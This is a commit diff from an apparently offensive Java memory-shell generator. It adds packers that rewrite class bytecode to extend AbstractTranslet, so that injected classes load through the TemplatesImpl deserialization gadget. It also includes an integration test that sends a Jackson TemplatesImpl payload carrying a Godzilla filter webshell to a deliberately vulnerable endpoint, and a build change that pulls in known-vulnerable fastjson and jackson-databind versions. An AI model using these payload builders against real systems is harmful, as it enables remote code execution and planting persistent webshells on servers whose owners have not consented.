Skip to content

Commit 4182fa7

Browse files
committed
feat: support AbstractTranslet packer
1 parent 02ada81 commit 4182fa7

File tree

11 files changed

+219
-1
lines changed

11 files changed

+219
-1
lines changed

integration-test/src/test/java/com/reajason/javaweb/integration/ShellAssertion.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@
1414
import com.reajason.javaweb.packer.jar.AgentJarWithJDKAttacherPacker;
1515
import com.reajason.javaweb.packer.jar.AgentJarWithJREAttacherPacker;
1616
import com.reajason.javaweb.packer.jar.ScriptEngineJarPacker;
17+
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
1718
import com.reajason.javaweb.suo5.Suo5Manager;
1819
import lombok.SneakyThrows;
1920
import lombok.extern.slf4j.Slf4j;
@@ -126,6 +127,9 @@ public static void packerResultAndInject(MemShellResult generateResult, String u
126127
" !!java.net.URL [\"file://" + jarPath + "\"]\n" +
127128
" ]]\n" +
128129
"]";
130+
} else if (packer.getInstance() instanceof XalanAbstractTransletPacker) {
131+
String bytes = packer.getInstance().pack(generateResult.toClassPackerConfig());
132+
content = "[\"org.apache.xalan.xsltc.trax.TemplatesImpl\",{\"transletName\":\"businessObject\",\"transletBytecodes\":[\"" + bytes + "\"],\"outputProperties\":{}}]";
129133
} else {
130134
content = packer.getInstance().pack(generateResult.toClassPackerConfig());
131135
}
@@ -395,6 +399,7 @@ public static void injectIsOk(String url, String shellType, String shellTool, St
395399
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
396400
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
397401
case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
402+
case XalanAbstractTransletPacker -> VulTool.postIsOk(url + "/jackson", content);
398403
default -> throw new IllegalStateException("Unexpected value: " + packer);
399404
}
400405
}

integration-test/src/test/java/com/reajason/javaweb/integration/memshell/tomcat/Tomcat8DeserializeContainerTest.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -53,7 +53,8 @@ static Stream<Arguments> casesProvider() {
5353
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
5454
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
5555
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass),
56-
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar)
56+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngineJar),
57+
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XalanAbstractTransletPacker)
5758
);
5859
}
5960

Lines changed: 65 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,65 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import org.objectweb.asm.*;
4+
5+
public class ClassSuperClassUtils {
6+
7+
public static byte[] addSuperClass(byte[] bytes, String superClassName) {
8+
ClassReader cr = new ClassReader(bytes);
9+
ClassWriter cw = new ClassWriter(cr, 0);
10+
ClassVisitor cv = new AddSuperClassAdapter(cw, superClassName.replace('.', '/'));
11+
cr.accept(cv, 0);
12+
return cw.toByteArray();
13+
}
14+
15+
static class AddSuperClassAdapter extends ClassVisitor {
16+
private final String newSuperName;
17+
18+
public AddSuperClassAdapter(ClassVisitor cv, String newSuperName) {
19+
super(Opcodes.ASM9, cv);
20+
this.newSuperName = newSuperName;
21+
}
22+
23+
@Override
24+
public void visit(int version, int access, String name,
25+
String signature, String superName, String[] interfaces) {
26+
if (!"java/lang/Object".equals(superName)) {
27+
throw new IllegalStateException(String.format(
28+
"Cannot add superclass to class '%s': it already extends '%s'.", name, superName
29+
));
30+
}
31+
super.visit(version, access, name, signature, newSuperName, interfaces);
32+
}
33+
34+
@Override
35+
public MethodVisitor visitMethod(int access, String name, String descriptor,
36+
String signature, String[] exceptions) {
37+
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
38+
if ("<init>".equals(name)) {
39+
return new ChangeConstructorAdapter(mv, newSuperName);
40+
}
41+
return mv;
42+
}
43+
}
44+
45+
static class ChangeConstructorAdapter extends MethodVisitor {
46+
private final String newSuperName;
47+
48+
public ChangeConstructorAdapter(MethodVisitor mv, String newSuperName) {
49+
super(Opcodes.ASM9, mv);
50+
this.newSuperName = newSuperName;
51+
}
52+
53+
@Override
54+
public void visitMethodInsn(int opcode, String owner, String name,
55+
String descriptor, boolean isInterface) {
56+
if (opcode == Opcodes.INVOKESPECIAL &&
57+
"java/lang/Object".equals(owner) &&
58+
"<init>".equals(name)) {
59+
super.visitMethodInsn(opcode, newSuperName, name, descriptor, isInterface);
60+
} else {
61+
super.visitMethodInsn(opcode, owner, name, descriptor, isInterface);
62+
}
63+
}
64+
}
65+
}
Lines changed: 37 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,37 @@
1+
package com.reajason.javaweb.asm;
2+
3+
import net.bytebuddy.ByteBuddy;
4+
import org.junit.jupiter.api.Test;
5+
import org.objectweb.asm.ClassReader;
6+
7+
import static org.junit.jupiter.api.Assertions.assertEquals;
8+
import static org.junit.jupiter.api.Assertions.assertThrows;
9+
10+
/**
11+
* @author ReaJason
12+
* @since 2025/11/19
13+
*/
14+
class ClassSuperClassUtilsTest {
15+
@Test
16+
void test() {
17+
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
18+
byte[] bytes = new ByteBuddy().redefine(EmptySuperClass.class).make().getBytes();
19+
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
20+
assertEquals("java/lang/Object", new ClassReader(bytes).getSuperName());
21+
assertEquals(superClassName.replace(".", "/"), new ClassReader(newBytes).getSuperName());
22+
}
23+
24+
@Test
25+
void testException() {
26+
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
27+
byte[] bytes = new ByteBuddy().redefine(SuperClass.class).make().getBytes();
28+
assertThrows(IllegalStateException.class, () -> ClassSuperClassUtils.addSuperClass(bytes, superClassName));
29+
}
30+
31+
class EmptySuperClass {
32+
33+
}
34+
35+
class SuperClass extends EmptySuperClass {
36+
}
37+
}

packer/src/main/java/com/reajason/javaweb/packer/Packers.java

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -44,6 +44,10 @@
4444
import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
4545
import com.reajason.javaweb.packer.spel.SpELSpringGzipJDK17Packer;
4646
import com.reajason.javaweb.packer.spel.SpELSpringGzipPacker;
47+
import com.reajason.javaweb.packer.translet.AbstractTransletPacker;
48+
import com.reajason.javaweb.packer.translet.JDKAbstractTransletPacker;
49+
import com.reajason.javaweb.packer.translet.OracleAbstractTransletPacker;
50+
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
4751
import com.reajason.javaweb.packer.velocity.VelocityPacker;
4852
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
4953
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
@@ -87,13 +91,19 @@ public enum Packers {
8791
*/
8892
BCEL(new BCELPacker()),
8993

94+
AbstractTranslet(new AbstractTransletPacker()),
95+
JDKAbstractTransletPacker(new JDKAbstractTransletPacker(), AbstractTransletPacker.class),
96+
XalanAbstractTransletPacker(new XalanAbstractTransletPacker(), AbstractTransletPacker.class),
97+
OracleAbstractTransletPacker(new OracleAbstractTransletPacker(), AbstractTransletPacker.class),
98+
9099
/**
91100
* 脚本引擎打包器
92101
*/
93102
ScriptEngine(new ScriptEnginePacker()),
94103
DefaultScriptEngine(new DefaultScriptEnginePacker(), ScriptEnginePacker.class),
95104
ScriptEngineNoSquareBrackets(new ScriptEngineNoSquareBracketsPacker(), ScriptEnginePacker.class),
96105
ScriptEngineBigInteger(new ScriptEngineBigIntegerPacker(), ScriptEnginePacker.class),
106+
97107
Rhino(new RhinoPacker()),
98108

99109
/**
Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
package com.reajason.javaweb.packer.translet;
2+
3+
import com.reajason.javaweb.packer.AggregatePacker;
4+
5+
/**
6+
* @author ReaJason
7+
* @since 2025/11/19
8+
*/
9+
public class AbstractTransletPacker implements AggregatePacker {
10+
}
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package com.reajason.javaweb.packer.translet;
2+
3+
import com.reajason.javaweb.asm.ClassSuperClassUtils;
4+
import com.reajason.javaweb.packer.ClassPackerConfig;
5+
import com.reajason.javaweb.packer.Packer;
6+
import lombok.SneakyThrows;
7+
import org.apache.commons.codec.binary.Base64;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2025/11/19
12+
*/
13+
public class JDKAbstractTransletPacker implements Packer {
14+
@Override
15+
@SneakyThrows
16+
public String pack(ClassPackerConfig config) {
17+
String superClassName = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
18+
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
19+
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
20+
return Base64.encodeBase64String(newBytes);
21+
}
22+
}
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package com.reajason.javaweb.packer.translet;
2+
3+
import com.reajason.javaweb.asm.ClassSuperClassUtils;
4+
import com.reajason.javaweb.packer.ClassPackerConfig;
5+
import com.reajason.javaweb.packer.Packer;
6+
import lombok.SneakyThrows;
7+
import org.apache.commons.codec.binary.Base64;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2025/11/19
12+
*/
13+
public class OracleAbstractTransletPacker implements Packer {
14+
@Override
15+
@SneakyThrows
16+
public String pack(ClassPackerConfig config) {
17+
String superClassName = "com.oracle.wls.shaded.org.apache.xalan.xsltc.runtime.AbstractTranslet";
18+
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
19+
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
20+
return Base64.encodeBase64String(newBytes);
21+
}
22+
}
Lines changed: 22 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,22 @@
1+
package com.reajason.javaweb.packer.translet;
2+
3+
import com.reajason.javaweb.asm.ClassSuperClassUtils;
4+
import com.reajason.javaweb.packer.ClassPackerConfig;
5+
import com.reajason.javaweb.packer.Packer;
6+
import lombok.SneakyThrows;
7+
import org.apache.commons.codec.binary.Base64;
8+
9+
/**
10+
* @author ReaJason
11+
* @since 2025/11/19
12+
*/
13+
public class XalanAbstractTransletPacker implements Packer {
14+
@Override
15+
@SneakyThrows
16+
public String pack(ClassPackerConfig config) {
17+
String superClassName = "org.apache.xalan.xsltc.runtime.AbstractTranslet";
18+
byte[] bytes = Base64.decodeBase64(config.getClassBytesBase64Str());
19+
byte[] newBytes = ClassSuperClassUtils.addSuperClass(bytes, superClassName);
20+
return Base64.encodeBase64String(newBytes);
21+
}
22+
}

vul/vul-webapp-deserialize/build.gradle.kts

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,9 @@ val filesToCopy = objects.fileCollection().from(
2929
dependencies {
3030
implementation("com.caucho:hessian:4.0.66")
3131
implementation("org.yaml:snakeyaml:1.27")
32+
implementation("com.alibaba:fastjson:1.2.47")
33+
implementation("com.fasterxml.jackson.core:jackson-databind:2.8.0")
34+
implementation("xalan:xalan:2.7.2")
3235
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
3336
testImplementation(libs.junit.jupiter)
3437
testRuntimeOnly(libs.junit.platform.launcher)

0 commit comments

Comments
 (0)